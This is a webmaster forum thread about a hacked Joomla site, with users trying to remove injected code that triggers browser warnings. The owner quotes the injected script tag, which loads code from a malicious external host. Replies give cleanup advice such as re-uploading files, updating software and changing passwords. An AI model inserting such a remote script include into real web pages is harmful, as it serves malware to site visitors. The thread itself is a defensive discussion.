Hey,

i still have problems with my hacked site (sada-e-azadi.net)
Though i did remove the 'musical-kleopatra' out of all files and did set all rights correctly.
It shows when looking at the source code and creates a warning in Google chrome.
I personally haven't seen any folders or files which shoudn't be on the server.


May thanks to all who replied on my last post to that topic, maybe
someone knows how i could remove the annoying code.

Thanks Ute

Earlier thread http://www.webmaster-talk.com/websit...one-knows.html


Does it show in any other browser?

If not, clear the browser cache.

Unfortunately it does show in every browser -cleaning the cache didn't help

I had a quick look and couldnt see anything !

Hmm where does the code show ?

Woc

If you look in the source code it is right after the closing </head>

No it isn't. Checked Chrome, FF, IE, Seamonkey & Opera

Use spybot and check your machine for spyware.

You can remove that code from all your files or upload the fresh copy of your web site and also take care of the below mentioned points:

1. Upgrade your third party installed software, scripts, any templates etc in your domain (if any) on regular basis.

2. Change the Control Panel and FTP passwords of your domain on regular basis.
3. Check the web site contents in your domain and remove any suspicious files and/or folders which you have not uploaded.
4. Check the permissions of the files and folders and make sure that you have assigned the permissions correctly.

I don't see the script after the head in the foreign-language page, but click on "english" and bring up the English page, and the script appears after the head tag.

Hello,

my website (sada-e-azadi.net/Joomla/)was hacked and in every "index.html" file this specific code was written:
"<scriptsrc=http://musical-kleopatra.com/data/tail.sub.php ></script>"

Meanwhile i deleted this line out of all files - a grep on my server doesn't find a single file with this content.

I downloaded the whole files from my server and let spybot and avira search through them - no result.

I posted a thread a while ago and recaived a lot of hints but nothing could solve the problem.


Maybe someone has another idea

Thanks

Have you changed your FTP & control panel passwords?